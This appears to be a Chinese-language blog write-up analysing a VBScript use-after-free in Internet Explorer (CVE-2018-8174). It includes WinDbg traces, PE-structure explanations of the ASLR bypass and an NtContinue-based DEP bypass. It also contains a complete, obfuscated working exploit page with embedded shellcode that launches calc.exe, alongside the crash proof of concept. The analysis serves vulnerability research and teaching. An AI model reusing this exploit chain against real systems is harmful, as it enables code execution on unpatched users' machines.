UAF分析

February 13, 2019 · View on GitHub

  1. flow chart

  1. Crash POC
<html lang="en">
<body>
<script language="vbscript">
Dim array_a
Dim array_b(1)
Class Trigger
Private Sub Class_Terminate()
    Set array_b(0) = array_a(1)
    array_a(1) = 1
End Sub
End Class

Sub UAF
    ReDim array_a(1)
    Set array_a(1) = New Trigger
    Erase array_a
End Sub

Sub TriggerVuln
    array_b(0) = 0
End Sub

Sub StartExploit
    UAF
    TriggerVuln
End Sub
StartExploit

</script>
</body>

</html>
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /i iexplore.exe +h
pa
Current Registry Settings for iexplore.exe executable are: 02000000
    hpa - Enable page heap

加log IsEmpty(),辅助分析

<html lang="en">
<body>
<script language="vbscript">
Dim array_a
Dim array_b(1)
Class Trigger
Private Sub Class_Terminate()
    Set array_b(0) = array_a(1)
    array_a(1) = 1
    IsEmpty(array_b)
End Sub
End Class

Sub UAF
    ReDim array_a(1)
    Set array_a(1) = New Trigger
    IsEmpty(array_a)
    Erase array_a
    IsEmpty("Erase Finish")
End Sub

Sub TriggerVuln
    array_b(0) = 0
End Sub

Sub StartExploit
    UAF
    TriggerVuln
End Sub
StartExploit

</script>
</body>

</html>

到这里可以看到,array_a(1)已经指向Trigger对象,继续调试。(调到这里的时候windb hang住了,只好杀了重新调试,新的array_a 地址是 0x081affe8)

执行到第三个IsEmpty,这时候array_a和Trigger object 已经释放,array_b中还保存着对Trigger object 的引用。 随后 array_b(0) = 0访问了被释放的内存,从而触发UAF 漏洞

显然,当 array_b 还引用Trigger Object的时候,Trigger Object却随着 Erase array_a被释放了。我们来看看是哪里发生了错误。

看过伪代码后,通过调试进一步验证猜测

0:004> bl
 0 e 6b1e343d     0001 (0001)  0:**** vbscript!VbsErase
 1 e 6b1a5f1c     0001 (0001)  0:**** vbscript!VBScriptClass::Release
 2 e 6b1a583e     0001 (0001)  0:**** vbscript!VbsIsEmpty

进入到 vbscript!VBScriptClass::Release 把上述断点disable掉,否则单步调试会断在我们不期望的地方

  1. 漏洞利用(pop up calc.exe)
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="vbscript">
Dim array_a
Dim array_b(6),array_c(6)
Dim spec_int_2
Dim IIllI(40)
Dim str_1,str_2
Dim spec_int_1
Dim cla4_obj1,cla4_obj2
Dim cla6_obj1,cla7_obj1
Dim NtContinueAddr,VirtualProtectAddr
 
spec_int_1=&hBADF00D
str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
spec_int_2=&hBAD0BAD
Function IIIII(Domain) 
    lIlII=0
    IllllI=0
    IIlIIl=0
    Id=CLng(Rnd*1000000)
    lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
    If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
        lIlII=lIlII-(&h86d+6447-&H219b)
    End If
 
    IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
    IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
    IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
End Function
 
Function lIIII(ByVal lIlIl)
    IIll=""
    For index=0 To Len(lIlIl)-1
        IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
    Next
    IIll=IIll &"00"
    If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
        IIll=IIll &"00"
    End If
    For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
        lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
        lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
        lIIII=lIIII &"%u" &lIlIll &lIIIlI
    Next
End Function
Function lIlI(ByVal Number,ByVal Length)
    IIII=Hex(Number)
    If Len(IIII)<Length Then
        IIII=String(Length-Len(IIII),"0") &IIII    'pad allign with zeros 
    Else
        IIII=Right(IIII,Length)
    End If
    lIlI=IIII
End Function
Function GetUint32(lIII)
    Dim value
    cla4_obj1.mem(spec_int_1+8)=lIII+4
    cla4_obj1.mem(spec_int_1)=8        'type string
    value=cla4_obj1.P0123456789
    cla4_obj1.mem(spec_int_1)=2
    GetUint32=value
End Function
Function IllIIl(lIII)
    IllIIl=GetUint32(lIII) And (131071-65536)
End Function
Function lllII(lIII)
    lllII=GetUint32(lIII)  And (&h17eb+1312-&H1c0c)
End Function
Sub llllll
End Sub
Function GetMemValue
    cla4_obj1.mem(spec_int_1)= 3
    GetMemValue=cla4_obj1.mem(spec_int_1+ 8)
End Function
Sub SetMemValue(ByRef IlIIIl)
    cla4_obj1.mem(spec_int_1+8)=IlIIIl
End Sub
Function LeakVBAddr
    On Error Resume Next
    Dim cscript_entry_point_obj
    cscript_entry_point_obj=llllll
    cscript_entry_point_obj=null
    SetMemValue cscript_entry_point_obj
    LeakVBAddr=GetMemValue()
End Function
Function GetBaseByDOSmodeSearch(IllIll)
    Dim llIl
    llIl=IllIll And &hffff0000
    Do While GetUint32(llIl+(104))<>544106784 Or GetUint32(llIl+(108))<>542330692
        llIl=llIl-65536
    Loop
    GetBaseByDOSmodeSearch=llIl
End Function
Function StrCompWrapper(lIII,llIlIl)
    Dim lIIlI,IIIl
    lIIlI=""
    For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
        lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
    Next
    StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
    Dim import_rva,nt_header,descriptor,import_dir
    Dim IIIIII
    nt_header=GetUint32(base_address+(&h3c))
    'IsEmpty(nt_header)
    import_rva=GetUint32(base_address+nt_header+&h80)
    'IsEmpty(import_rva)
    import_dir=base_address+import_rva
    'IsEmpty(import_dir)
    descriptor=0
    Do While True
        Dim Name
        Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
        If Name=0 Then
            GetBaseFromImport=&hBAAD0000
            Exit Function
        Else
            If StrCompWrapper(base_address+Name,name_input)=0 Then
                Exit Do
            End If
        End If
        descriptor=descriptor+1
    Loop
    IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
    GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function
 
Function GetProcAddr(dll_base,name)
    Dim p,export_dir,index
    Dim function_rvas,function_names,function_ordin
    Dim Illlll
    p=GetUint32(dll_base+&h3c)
    p=GetUint32(dll_base+p+&h78)
    export_dir=dll_base+p
 
    function_rvas=dll_base+GetUint32(export_dir+&h1c)
    function_names=dll_base+GetUint32(export_dir+&h20)
    function_ordin=dll_base+GetUint32(export_dir+&h24)
    index=0
    Do While True
        Dim lllI
        lllI=GetUint32(function_names+index*4)
        If StrCompWrapper(dll_base+lllI,name)=0 Then
            Exit Do
        End If
        index=index+1
    Loop
    Illlll=IllIIl(function_ordin+index*2)
    p=GetUint32(function_rvas+Illlll*4)
    GetProcAddr=dll_base+p
End Function
 
Function GetShellcode()
    IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))
    IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
    GetShellcode=IIlI
End Function
Function EscapeAddress(ByVal value)
    Dim High,Low
    High=lIlI((value And &hffff0000)/&h10000,4)
    Low=lIlI(value And &hffff,4)
    EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function lIllIl
    Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
    IlllI=lIlI(NtContinueAddr,8)
    IlIII=Mid(IlllI,1,2)
    llllI=Mid(IlllI,3,2)
    llIII=Mid(IlllI,5,2)
    lIllI=Mid(IlllI,7,2)
    IIlI=""
    IIlI=IIlI &"%u0000%u" &lIllI &"00"
    For IIIl=1 To 3
        IIlI=IIlI &"%u" &llllI &llIII
        IIlI=IIlI &"%u" &lIllI &IlIII
    Next
    IIlI=IIlI &"%u" &llllI &llIII
    IIlI=IIlI &"%u00" &IlIII
    lIllIl=Unescape(IIlI)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
    Dim IIlI
    IIlI=String((100334-65536),Unescape("%u4141"))
    IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
    IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
    IIlI=IIlI &EscapeAddress(&h3000)
    IIlI=IIlI &EscapeAddress(&h40)
    IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
    IIlI=IIlI &String(6,Unescape("%u4242"))
    IIlI=IIlI &lIllIl()
    IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
    WrapShellcodeWithNtContinueContext=IIlI
End Function
Function ExpandWithVirtualProtect(Addr_wrap_sh_with_ntcontinue)
    Dim IIlI
    Dim lllllI
    lllllI=Addr_wrap_sh_with_ntcontinue+&h23
    IIlI=""
    IIlI=IIlI &EscapeAddress(lllllI)
    IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
    IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
    IIlI=IIlI &EscapeAddress(&h1b)
    IIlI=IIlI &EscapeAddress(0)
    IIlI=IIlI &EscapeAddress(Addr_wrap_sh_with_ntcontinue)
    IIlI=IIlI &EscapeAddress(&h23)
    IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))
    ExpandWithVirtualProtect=IIlI
End Function
Sub ExecuteShellcode
    cla4_obj1.mem(spec_int_1)=&h4d 'DEP bypass
    IsEmpty("set fake type 4d")
    
    cla4_obj1.mem(spec_int_1+8)=0  '触发shellcode
    msgbox(spec_int_1)        'VT replaced
End Sub
 
Class cla1
Private Sub Class_Terminate()
    Set array_b(spec_int_2)=array_a((&h1078+5473-&H25d8))
    spec_int_2=spec_int_2+(&h14b5+2725-&H1f59)
    array_a((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
End Sub
 
End Class
 
Class cla2
Private Sub Class_Terminate()
    Set array_c(spec_int_2)=array_a((&h15b+3616-&Hf7a))
    spec_int_2=spec_int_2+(&h880+542-&Ha9d)
    array_a((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
End Sub
End Class
 
Class cla3
End Class
 
Class cla4
    Dim mem
    Function P
    End Function
    Function SetProp(Value)
        mem=Value
        SetProp=0
    End Function
End Class
 
Class cla5
    Dim mem
    Function P0123456789
        P0123456789=LenB(mem(spec_int_1+8))
    End Function
    Function SPP
    End Function
End Class
 
Class cla6
    Public Default Property Get P
        Dim cla5_obj1
        P=174088534690791e-324 '4. 最后一步,将cla5_obj1.mem的type 改为array 类型
        For IIIl= 0 To 6
            array_b(IIIl)= 0  '1. 由于之前的UAF, array_b 保存着对cla4 object的引用,从而可以释放cla4_obj
        Next
        Set cla5_obj1=New cla5
        cla5_obj1.mem=str_1   '2. 使用clas5 object占位, cla5_obj1.mem 为精心构造字符串,且位置与cla4_obj1.mem 相差0xc个字节
        For IIIl= 0 To 6
            Set array_b(IIIl)=cla5_obj1 '3. array_b 保存对cla5_obj的引用
        Next
    End Property
End Class
 
Class cla7
    Public Default Property Get P
    Dim cla5_obj2
    P=636598737289582e-328        '将cla5_obj2.mem 的type 改为Long 类型
    For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
        array_c(IIIl)=(&h442+2598-&He68)
    Next
    Set cla5_obj2=New cla5
    cla5_obj2.mem=str_2
    For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
        Set array_c(IIIl)=cla5_obj2
    Next
    End Property
End Class
 
Set cla6_obj1=New cla6
Set cla7_obj1=New cla7
Sub UAF
    For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
        Set IIllI(IIIl)=New cla3
    Next
    For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
        Set IIllI(IIIl)=New cla4
    Next
    spec_int_2=0
    For IIIl=0 To 6
        ReDim array_a(1)
        Set array_a(1)=New cla1
        Erase array_a
    Next
    Set cla4_obj1=New cla4
    spec_int_2=0
    For IIIl=0 To 6
        ReDim array_a(1)
        Set array_a(1)=New cla2
        Erase array_a
    Next
    Set cla4_obj2=New cla4
End Sub
Sub InitObjects
    cla4_obj1.SetProp(cla6_obj1)
    cla4_obj2.SetProp(cla7_obj1)
    spec_int_1=cla4_obj2.mem
End Sub
 
Sub StartExploit
    UAF
    InitObjects
    vb_adrr=LeakVBAddr()
    vt_adrr = GetUint32(vb_adrr)
    'IsEmpty(vt_adrr)
    'Alert "CScriptEntryPointObject Leak: 0x" & Hex(vb_adrr) & vbcrlf & "VirtualTable address: 0x" & Hex(vt_adrr)
    
    vbs_base=GetBaseByDOSmodeSearch(vt_adrr)
    'IsEmpty(vbs_base)
    'Alert "VBScript Base: 0x" & Hex(vbs_base) 
    
    msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
    'Alert "MSVCRT Base: 0x" & Hex(msv_base) 
    
    krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
    'Alert "KernelBase Base: 0x" & Hex(krb_base) 
    
    ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
    'Alert "Ntdll Base: 0x" & Hex(ntd_base) 
    
    VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
    'Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr) 
    
    NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
    'Alert "KernelBase!VirtualProtect Address 0x" & Hex(NtContinueAddr) 
    
    SetMemValue GetShellcode()
    ShellcodeAddr=GetMemValue()+8
    IsEmpty(ShellcodeAddr)
    'Alert "Shellcode Address 0x" & Hex(ShellcodeAddr)
    IsEmpty(spec_int_1)
    
    SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
    Addr_wrap_sh_with_ntcontinue=GetMemValue()+69596
    IsEmpty(Addr_wrap_sh_with_ntcontinue)
    
    SetMemValue ExpandWithVirtualProtect(Addr_wrap_sh_with_ntcontinue)
    Addr_expand_with_virtualprotect=GetMemValue()
    IsEmpty(Addr_expand_with_virtualprotect)
    
    'Alert "Executing Shellcode"
    IsEmpty("Executing Shellcode")
    ExecuteShellcode
End Sub
StartExploit
</script>
</body>
</html>

以下要关掉PageHeap再调试

  • 先粗略看下VBScript中Class 结构
<html lang="en">
<body>
<script language="vbscript">
Dim X
Class TestClass
    Dim a,b
    
    Private Sub Class_Initialize   
        a=&h1122334
        b="test string"
    End Sub
    Private Sub Class_Terminate   
    End Sub
    
    Sub test_fun
        test_fun=1
    End Sub
    
End Class
Set X = New TestClass
IsEmpty(X)
</script>
</body>

</html>

  • UAF

  • InitObjects

执行前:

执行中:

同理,

  • Leak CScriptEntryPointObject Address

拿到CscriptEntry 对象地址后,要想办法拿到类的虚表指针,其实也就是 [vb_addr]

这里用到的一个基础知识点是,string的length是放在string 对象的前4个字节的。 这里就不对此展开了。

Function GetUint32(lIII)
    Dim value
    cla4_obj1.mem(spec_int_1+8)=lIII+4
    cla4_obj1.mem(spec_int_1)=8        'type string
    value=cla4_obj1.P0123456789
    cla4_obj1.mem(spec_int_1)=2
    GetUint32=value
End Function

Bypass ALSR

拿CVE-2018-8174 中的代码片段为例,大致学习了PE结构、以及如何利用该结构bypass ALSR

参考:

https://blog.csdn.net/Apollon_krj/article/details/77069342

http://www.cnblogs.com/SkyMouse/archive/2012/05/10/2493725.html

https://blog.csdn.net/Apollon_krj/article/details/77337333

https://blog.csdn.net/evi10r/article/details/7216467

  1. 拿到vbs对象虚表指针后,如何得到vbscript.dll的地址?
Function GetBaseByDOSmodeSearch(IllIll)
    Dim llIl
    llIl=IllIll And &hffff0000
    Do While GetUint32(llIl+(104))<>544106784 Or GetUint32(llIl+(108))<>542330692
        llIl=llIl-65536
    Loop
    GetBaseByDOSmodeSearch=llIl
End Function

vbs_base=GetBaseByDOSmodeSearch(vt_adrr)

可以看到PE头部其实有很多偏移固定的值,比如MZ头、“DOS Mode”等等, 拿到vbscript中一个对象的虚表地址之后,即可向低地址遍历,寻找固定偏移的值,从而确定vbscript.dll的地址。

  1. 根据vbscipt.dll, 如何得到系统dll基址? 依据导入表信息!
Function StrCompWrapper(lIII,llIlIl)
    Dim lIIlI,IIIl
    lIIlI=""
    For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
        lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
    Next
    StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
    Dim import_rva,nt_header,descriptor,import_dir
    Dim IIIIII
    nt_header=GetUint32(base_address+(&h3c))
    IsEmpty(nt_header)
    import_rva=GetUint32(base_address+nt_header+&h80)
    IsEmpty(import_rva)
    import_dir=base_address+import_rva
    IsEmpty(import_dir)
    descriptor=0
    Do While True
        Dim Name
        Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
        If Name=0 Then
            GetBaseFromImport=&hBAAD0000
            Exit Function
        Else
            If StrCompWrapper(base_address+Name,name_input)=0 Then
                Exit Do
            End If
        End If
        descriptor=descriptor+1
    Loop
    IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
    GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")

PE头的最后一部分是PE文件可选头,最后0x80大小的结构体成员就描述了dll的各种数据表信息

根据上述描述,我们能确定导入表RVA相对PE header的偏移为0x80

而导入表的内容则是多个大小为0x14字节的_IMAGE_IMPORT_DESCRIPTOR组成,每个_IMAGE_IMPORT_DESCRIPTOR 对应一个dll

关注一下_IMAGE_IMPORT_DESCRIPTOR中的Name和FirstThunk字段,即可轻松获取dll名字及其导出函数地址。得到函数地址,也就能确定dll基址了。

以下调试过程即对应上述寻找思路

0:004> dd vbscript
6ae60000  00905a4d 00000003 00000004 0000ffff
6ae60010  000000b8 00000000 00000040 00000000
6ae60020  00000000 00000000 00000000 00000000
6ae60030  00000000 00000000 00000000 000000f0     偏移0x3c处,是PE头RVA
6ae60040  0eba1f0e cd09b400 4c01b821 685421cd
6ae60050  70207369 72676f72 63206d61 6f6e6e61
6ae60060  65622074 6e757220 206e6920 20534f44
6ae60070  65646f6d 0a0d0d2e 00000024 00000000
0:004> dd vbscript+000000f0
6ae600f0  00004550 0004014c 55b000b4 00000000
6ae60100  00000000 210200e0 000a010b 00056800
6ae60110  00010400 00000000 000013e5 00001000
6ae60120  00055000 6ae60000 00001000 00000200
6ae60130  00010006 00010006 00000006 00000000
6ae60140  0006a000 00000400 0007180f 01400002
6ae60150  00040000 00001000 00100000 00001000
6ae60160  00000000 00000010 000023fc 000000a5
0:004> dd 6ae600f0+0x80                           导入表地址
6ae60170  00056890 00000064 0005d000 00008870
6ae60180  00000000 00000000 00000000 00000000
6ae60190  00066000 000034f0 00057628 00000038
6ae601a0  00000000 00000000 00000000 00000000
6ae601b0  00000000 00000000 00038220 00000040
6ae601c0  00000000 00000000 00001000 00000330
6ae601d0  000565cc 00000080 00000000 00000000
6ae601e0  00000000 00000000 7865742e 00000074
0:004> dd vbscript+00056890                   
6aeb6890  0005692c 00000000 00000000 00056920
6aeb68a0  00001000 00056a38 00000000 00000000
6aeb68b0  00056910 0000110c 00056ad4 00000000
6aeb68c0  00000000 00056900 000011a8 00056bf8    导入表内容,每0x14个字节为一个_IMAGE_IMPORT_DESCRIPTOR结构
6aeb68d0  00000000 00000000 000568f4 000012cc
6aeb68e0  00000000 00000000 00000000 00000000
6aeb68f0  00000000 52455355 642e3233 90006c6c
6aeb6900  4e52454b 32334c45 6c6c642e 90909000
0:004> da vbscript+00056920      _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x10是导入dll name的RVA
6aeb6920  "msvcrt.dll"  
0:004> dd vbscript+00001000       _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x14指向IAT中导出函数
6ae61000  75f50d4d 75f4a5b8 75f4f95f 75f4ecf8
6ae61010  75f511e5 75f49ba1 75f4fab0 75f4ad52
6ae61020  75f4dbe0 75f5141b 75f4d9da 75f9e091
6ae61030  75f4f7fa 75f49e3a 75f50b89 75f4bfd9
6ae61040  75f4dbae 75f4f574 75f4e344 75f5012e
6ae61050  75f509e4 75f54b72 75fa6ea9 75f651da
6ae61060  75f4edef 75f4aa61 75f4c24b 75f49e5a
6ae61070  75f4b0c9 75f4fbab 75f4ff45 75f57551
  1. 如何Leak VirturalProtect 地址,为bypass dep做准备?
Function IllIIl(lIII)
    IllIIl=GetUint32(lIII) And (131071-65536)
End Function

Function GetProcAddr(dll_base,name)
    Dim p,export_dir,index
    Dim function_rvas,function_names,function_ordin
    Dim Illlll
    p=GetUint32(dll_base+&h3c)     'PE头RVA
    p=GetUint32(dll_base+p+&h78)   '导出表RVA
    export_dir=dll_base+p
 
    function_rvas=dll_base+GetUint32(export_dir+&h1c)  '导出函数地址表RVA
    function_names=dll_base+GetUint32(export_dir+&h20)  '导出函数名称表RVA
    function_ordin=dll_base+GetUint32(export_dir+&h24)  '导出函数序号表RVA
    index=0
    Do While True            '遍历函数名称表,找到对应函数index
        Dim lllI
        lllI=GetUint32(function_names+index*4)
        If StrCompWrapper(dll_base+lllI,name)=0 Then
            Exit Do
        End If
        index=index+1
    Loop
    Illlll=IllIIl(function_ordin+index*2)    '根据index,在导出序号表中查找函数地址序号,作为下一步查找函数地址表的索引
    p=GetUint32(function_rvas+Illlll*4)      '有了序号,即可定位函数地址RVA
    GetProcAddr=dll_base+p
End Function

VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")

导出表相对PE header的偏移为0x78,它的内部结构了解一下:

导出表0x28字节

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;    //未使用
    DWORD   TimeDateStamp;      //时间戳
    WORD    MajorVersion;       //未使用
    WORD    MinorVersion;       //未使用
    DWORD   Name;               //指向该导出表文件名字符串
    DWORD   Base;               //导出表的起始序号
    DWORD   NumberOfFunctions;  //导出函数的个数(更准确来说是AddressOfFunctions的元素数,而不是函数个数) 
    DWORD   NumberOfNames;      //以函数名字导出的函数个数
    DWORD   AddressOfFunctions;     //偏移0x1c, 导出函数地址表RVA:存储所有导出函数地址(表元素宽度为4,总大小NumberOfFunctions * 4)
    DWORD   AddressOfNames;         //偏移0x20, 导出函数名称表RVA:存储函数名字符串所在的地址(表元素宽度为4,总大小为NumberOfNames * 4)
    DWORD   AddressOfNameOrdinals;  //偏移0x24, 导出函数序号表RVA:存储函数序号(表元素宽度为2,总大小为NumberOfNames * 2)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

地址表可能大于等于名字表,也有可能小于名字表,因为一个函数可能没有名字,也可能有多个名字。
但是一般情况下,名字表均不会大于地址表。并且一个函数必然有地址,不一定有名字,名字表和序号表一一对应。

重点关注_IMAGE_EXPORT_DIRECTORY 最后三个Address,它们的关系如下所示

windbg调试过程如下:

bypass DEP with NtContinue

参考: https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf https://www.youtube.com/watch?v=_z647GBTSlk

调试分析Leak基址后如何控制EIP, 执行shellcode

  1. 执行shellcode前,有几个关键地址,我们先记下来
shellcode address:  054e002c     
spec_int_1  002a68b4  

Addr_wrap_sh_with_ntcontinue
0:005> dd 050d1000  
050d1000  054e002c 054e002c 00003000 00000040
050d1010  054e0024 42424242 42424242 42424242
050d1020  68000000 6877a055 6877a055 6877a055
050d1030  0077a055 41414141 41414141 41414141
050d1040  41414141 41414141 41414141 41414141
050d1050  41414141 41414141 41414141 41414141
050d1060  41414141 41414141 41414141 41414141
050d1070  41414141 41414141 41414141 41414141

Addr_expand_with_virtualprotect
0:005> dd 002e2f64 
002e2f64  050d1023 00410041 00410041 00410041
002e2f74  00410041 00410041 00410041 00410041
002e2f84  00410041 00410041 00410041 00410041
002e2f94  00410041 00410041 00410041 00410041
002e2fa4  00410041 00410041 00410041 00410041
002e2fb4  00410041 00410041 00410041 00410041
002e2fc4  00410041 00410041 00410041 00410041
002e2fd4  00410041 00410041 00410041 00410041

  1. 开始分析ExecuteShellcode 函数
Sub ExecuteShellcode
    cla4_obj1.mem(spec_int_1)=&h4d 'DEP bypass
    IsEmpty("set fake type 4d")
    
    cla4_obj1.mem(spec_int_1+8)=0  '触发shellcode
    msgbox(spec_int_1)        'VT replaced
End Sub

cla4_obj1.mem(spec_int_1)=&h4d,则直接改变了cla4_obj1.mem(spec_int_1+8)的类型字段

cla4_obj1.mem(spec_int_1+8)出存放的是Addr_expand_with_virtualprotect

cla4_obj1.mem(spec_int_1+8) = 0, 则会释放cla4_obj1.mem(spec_int_1+8)对象

  1. 为什么fake type是0x4d? 为什么能成功call NtContinue?
0:005> ba e1 77a05568  -> 对NtContinue设断点

回到调用之前,对Var::Clear 设断点,深入分析

  1. Call NtContinue的目的是?

普及一下NtContinue 函数


NtContinue(
  IN PCONTEXT             ThreadContext,
  IN BOOLEAN              RaiseAlert );
You can use NtContinue after processing exception for continue executing thread. 

typedef struct _CONTEXT
{
     ULONG ContextFlags;
     ULONG Dr0;
     ULONG Dr1;
     ULONG Dr2;
     ULONG Dr3;
     ULONG Dr6;
     ULONG Dr7;
     FLOATING_SAVE_AREA FloatSave; 
     ULONG SegGs;
     ULONG SegFs;
     ULONG SegEs;
     ULONG SegDs;
     ULONG Edi;
     ULONG Esi;
     ULONG Ebx;
     ULONG Edx;
     ULONG Ecx;
     ULONG Eax;
     ULONG Ebp;
     ULONG Eip;     --> EIP,偏移B8字节
     ULONG SegCs;
     ULONG EFlags;
     ULONG Esp;     --> ESP,偏移C4字节
     ULONG SegSs;
     UCHAR ExtendedRegisters[512];
} CONTEXT, *PCONTEXT;


简单来说,使用NtContinue可以让程序回到第一个参数指定的线程上下文中。

0:005> !address 054e002c
Failed to map Heaps (error 80004005)
Usage:                  <unclassified>
Allocation Base:        054e0000
Base Address:           054e0000
End Address:            05561000
Region Size:            00081000
Type:                   00020000    MEM_PRIVATE
State:                  00001000    MEM_COMMIT
Protect:                00000004    PAGE_READWRITE

0:005> !address 054e002c                   
Failed to map Heaps (error 80004005)
Usage:                  <unclassified>
Allocation Base:        054e0000
Base Address:           054e0000
End Address:            054e4000
Region Size:            00004000
Type:                   00020000    MEM_PRIVATE
State:                  00001000    MEM_COMMIT
Protect:                00000040    PAGE_EXECUTE_READWRITE